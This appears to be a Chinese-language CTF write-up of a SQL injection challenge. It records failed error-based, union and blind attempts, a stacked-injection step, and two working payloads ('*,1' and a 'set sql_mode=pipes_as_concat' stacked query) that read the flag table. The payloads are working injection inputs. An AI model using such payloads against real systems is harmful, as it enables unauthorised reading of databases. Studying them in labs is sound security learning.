猜测后端执行SQL语句
输入1,有回显
输入2,有回显,输入非零数字都有回显,输入字母无回显
输入1’,没回显,应该存在sql注入,猜测可能关闭了错误回显,报错注入可能行不通了
用order去试探有多少个字段,返回的都是Nonono,可能order by 参数被过滤了,联合查询就行不通了
排除了报错注入和联合查询注入,试下盲注,布尔盲注
1 and length(database())>=1#
1' and length(database())>=1#
数据库名长度>1都返回NOnono,放弃布尔盲注,时间盲注试试
1 and if(length(database())>=1,1,sleep(5))#
我只能呵呵了~,大佬说可能是过滤了太多关键字(俺也不知道如何从上面得出这个结论来的),试试堆叠注入吧
查看有哪些数据库,这次终于可以了
查看有哪些表
试试查看flag表中的数据
战斗力为0了,只好默默地去看大佬博客
通过大佬们的blog知道:
这道题目需要我们去对后端语句进行猜测
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知)
此时的||起到的作用是or的作用
解法1
内置的sql语句为
sql=“select”.post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了
select *,1||flag from Flag
也就是
select *,1 from Flag
也就是直接查询出了Flag表中的所有内容
解法2
输入的内容为
1;set sql_mode=pipes_as_concat;select 1
我们执行的语句分别为
select 1
set sql_mode=pipes_as_concat
select 1||flag from Flag
读出flag
??一些疑惑:
**为啥select ,1||flag from Flag = select ,1 from Flag?
select 1 from table;的结果是什么?
可以看到,查询结果为列名为1,一共六行
select任何一个常数都会在表中新建一列,然后查询出那一列的内容。
结论:
select 1 from Flag的结果就是一排1,这一排有几个数据取决于表的行数多少。
这篇博客有介绍:https://www.cnblogs.com/jiechn/p/3979261.html
这个题太难猜了吧!